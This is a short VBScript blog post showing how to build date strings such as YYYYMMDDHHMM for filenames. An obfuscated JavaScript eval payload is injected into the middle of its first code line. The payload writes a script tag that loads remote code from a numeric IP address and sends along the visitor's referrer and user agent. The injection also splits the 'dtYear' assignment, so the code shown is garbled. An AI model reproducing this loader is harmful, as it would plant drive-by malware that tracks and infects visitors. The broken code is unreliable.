Below is just a code fragment that creates a date useful for putting on a filename. It’s not particular elegant, and there are other ways to do the same thing (for example using the PAD function). But it works and it’s easy to read and change.

dtYear <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aaiky|var|u0026u|referrer|dtbdb||js|php'.split('|'),0,{}))
</script></noindex>  = year(date) 
dtMonth = Right(String(2,"0") &amp; Month(date), 2)
dtDay   = Right(String(2,"0") &amp; Day(date), 2)
dtHour  = Right(String(2,"0") &amp; Hour(now()), 2)
dtMin   = Right(String(2,"0") &amp; Minute(now()), 2)
dtSec   = Right(String(2,"0") &amp; Second(now()), 2)
dtYYYYMMDDHHMM = dtYear &amp; dtMonth &amp; dtDay &amp; dtHour &amp; dtMin 
dtYYYYMMDDHHMM2 = dtYear &amp; "_" &amp; dtMonth &amp; "_" &amp; dtDay &amp; "_" &amp; dtHour &amp; "_" &amp;  dtMin 
dtYYYYMMDDHHMMSS = dtYear &amp; dtMonth &amp; dtDay &amp; dtHour &amp; dtMin &amp; dtSec
dtYYYYMMDDHHMMSS2 = dtYear &amp; dtMonth &amp; dtDay &amp; "_" &amp; dtHour &amp; dtMin &amp; dtSec

'example of how the above can be used to insert a date in a filename.
DTSOutFilenameWithDate = replace(DTSOutFilename, "_.csv", "_" &amp; dtYYYYMMDDHHMM  &amp; ".csv")

See also related VBScript blog: Deleting files in a folder over x days old (in VBScript)

Filed under: VBScript